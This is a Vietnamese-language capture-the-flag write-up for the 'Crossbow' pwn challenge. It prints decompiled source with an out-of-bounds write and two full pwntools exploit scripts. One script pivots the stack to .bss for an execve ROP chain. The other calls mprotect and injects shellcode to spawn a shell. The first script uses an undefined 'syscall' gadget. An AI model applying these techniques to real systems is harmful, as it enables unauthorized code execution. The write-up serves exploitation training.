pwn - Crossbow
Sir Alaric's legendary shot can pierce through any enemy! Join his training and hone your aim to match his unparalleled precision.
Summary: Crossbow is an easy difficulty challenge that features abusing an Out-of-Bounds (OOB) write, stack pivot to bss and perform a rop chain with gadgets to call
Source Code
main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(&_stdin_FILE, 0, 2, 0);
setvbuf(&_stdout_FILE, 0, 2, 0);
alarm(4882);
banner();
training(4882, 0);
return 0;
}training()
__int64 training(__int64 a1, __int64 a2)
{
__int64 a[4]; // [rsp+0h] [rbp-20h] BYREF
printf("%s\n[%sSir Alaric%s]: You only have 1 shot, don't miss!!\n", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
target_dummy(a, "\x1B[1;34m");
return printf("%s\n[%sSir Alaric%s]: That was quite a shot!!\n\n", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
}target_dummy()
__int64 target_dummy(__int64 a, __int64 a2)
{
_QWORD *rbp; // rbx
__int64 result; // rax
int target; // [rsp+1Ch] [rbp-14h] BYREF
printf("%s\n[%sSir Alaric%s]: Select target to shoot: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
if ( scanf("%d%*c", &target) != 1 )
{
printf(
"%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n",
"\x1B[1;31m",
"\x1B[1;33m",
"\x1B[1;31m");
exit(1312);
}
rbp = (8LL * target + a);
*rbp = calloc(1, 128);
if ( !*rbp )
{
printf("%s\n[%sSir Alaric%s]: We do not want cowards here!!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
exit(6969);
}
printf("%s\n[%sSir Alaric%s]: Give me your best warcry!!\n\n> ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
result = fgets(*(8LL * target + a), 128, &_stdin_FILE);
if ( !result )
{
printf("%s\n[%sSir Alaric%s]: Is this the best you have?!\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
exit(69);
}
return result;
}Mitigation

Unintended Solution
Ta thấy địa chỉ của a từ hàm training() được truyền vào target_dummy(), sau đó cộng với target * 8. Tại đó được cấp phát một chunk kích thước 128 bytes, sau đó ta được ghi vào chunk đó qua fgets.
Vậy ta có thể ghi đè OOB vào saved rbp của hàm target_dummy() bằng cách nhập -2 vào target, từ đó pivot stack về chunk được cấp phát. Trên chunk đó, tạo ROP chain để spawn shell.

Tuy nhiên trong binary không có sẵn chuỗi /bin/sh nên ta sẽ cần nhập chuỗi này vào trước.

Ta có thể nghĩ đến việc dùng syscall read để đọc vào, nhưng không có gadget syscall nào có return để tiếp tục luồng thực thi, nên ta sẽ tiếp tục sử dụng fgets để ghi /bin/sh vào địa chỉ biết trước đó là .bss (do không có PIE).
Ta cũng sẽ ghi luôn cả ROP chain execve vào .bss rồi pivot stack đến .bss để spawn shell.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("crossbow_patched")
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
b *0x401d6d
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = ""
port = 0
return remote(host, port)
p = conn()
slan(p, b'shoot:', -2)
pop_rax = 0x0000000000401001
pop_rdi = 0x0000000000401d6c
pop_rsi = 0x000000000040566b
pop_rdx = 0x0000000000401139
nop = 0x0000000000408c3f
leave = 0x000000000040136c
# Ghi vào heap chunk được cấp phát
payload = p64(exe.bss()) # saved rbp,
payload += p64(nop) * 6 # padding stack trên chunk để tránh hàm fgets truy cập bộ nhớ ngoài chunk
payload += p64(pop_rdi)
payload += p64(exe.bss())
payload += p64(pop_rsi)
payload += p64(128)
payload += p64(pop_rdx)
payload += p64(exe.symbols['__stdin_FILE'])
payload += p64(exe.symbols['fgets'])
payload += p64(leave) # pivot stack đến .bss
sla(p, b'>', payload)
# Ở đây cần sử dụng sendlineafter vì payload chỉ gửi 120 byte, fgets sẽ đợi cho đến khi đủ 128-1=127 byte rồi mới dừng (chừa 1 byte cuối cho newline)
# Nếu padding thêm 1 nop, là p64(nop) * 7, thì payload dài 128 byte, nếu sendlineafter thì tổng là 129 byte, nhưng fgets chỉ lấy vào 127 byte, còn thừa 2 byte trong buffer, khiến cho lệnh fgets tiếp theo đọc phần còn lại trong buffer và kết thúc, không ghi phần payload của execve vào.
# Nếu sử dụng payload 128 byte, thì cần phải:
# sa(p, b'>', payload[:-1])
# Do byte cuối là 0 nên bỏ đi được.
# Ghi vào .bss
payload = b'/bin/sh\0'
payload += p64(pop_rax) # .bss + 0x8
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(exe.bss())
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
sl(p, payload)
rr(p, 1)
ia(p)Intended Solution
Một hướng khác là ta có thể sử dụng shellcode, nhưng điều này yêu cầu có một vùng RWX, nhưng trong binary hiện không có vùng nào:

Kiểm tra kỹ, chúng ta thấy có hàm mprotect, hàm này được dùng để thay đổi quyền truy cập RWX của các vùng, chính là cột Perm kia. Ta không dùng được syscall mprotect trực tiếp vì cần phải đặt rax thành 0xa, nghĩa là ký tự \n, khiến cho fgets dừng ngay không đọc hết payload.

Vậy ta sẽ gán quyền RWX cho vùng .bss, sau đó ghi shellcode vào và nhảy đến là xong.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("crossbow_patched")
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
b *0x401d6d
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = ""
port = 0
return remote(host, port)
p = conn()
slan(p, b'shoot:', -2)
pop_rax = 0x0000000000401001
pop_rdi = 0x0000000000401d6c
pop_rsi = 0x000000000040566b
pop_rdx = 0x0000000000401139
payload = flat(
# Gọi mprotect biến .bss thành vùng RWX
b'A' * 8,
pop_rdi,
exe.bss(),
pop_rsi,
0x1000,
pop_rdx,
7,
exe.symbols['mprotect'],
# Gọi fgets ghi shellcode vào .bss
pop_rdi,
exe.bss() + 0x500,
pop_rsi,
128,
pop_rdx,
exe.symbols['__stdin_FILE'],
exe.symbols['fgets'],
exe.bss() + 0x500
)
sa(p, b'>', payload[:-1])
sl(p, asm(shellcraft.sh()))
rr(p, 1)
ia(p)